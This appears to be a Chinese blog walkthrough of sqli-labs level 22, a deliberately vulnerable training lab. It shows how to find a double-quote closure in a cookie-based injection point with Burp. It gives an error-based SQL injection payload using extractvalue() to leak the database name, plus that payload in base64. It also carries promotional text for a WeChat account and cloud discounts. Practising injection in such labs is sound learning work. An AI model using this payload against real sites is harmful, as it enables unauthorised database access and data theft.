(1)根据题目知道此处是双引号注入,其余的与上一关相同。

登录成功后,用burp抓包,再刷新浏览器页面。寻找闭合方式:

SRE实战 互联网时代守护先锋,助力企业售后服务体系运筹帷幄!一键直达领取阿里云限量特价优惠。

SQLI DUMB SERIES-22 随笔 第1张

闭合方式果然为双引号。

(2)其payload与21关相同,需要对payload进行based64编码,同时将闭合方式改变即可。

例如:

admin1" and extractvalue(1,concat(0x7e,(select database())))#

 编码:

YWRtaW4iIGFuZCBleHRyYWN0dmFsdWUoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGRhdGFiYXNlKCkpKSkjICA=

 SQLI DUMB SERIES-22 随笔 第2张

扫码关注我们
微信号:SRE实战
拒绝背锅 运筹帷幄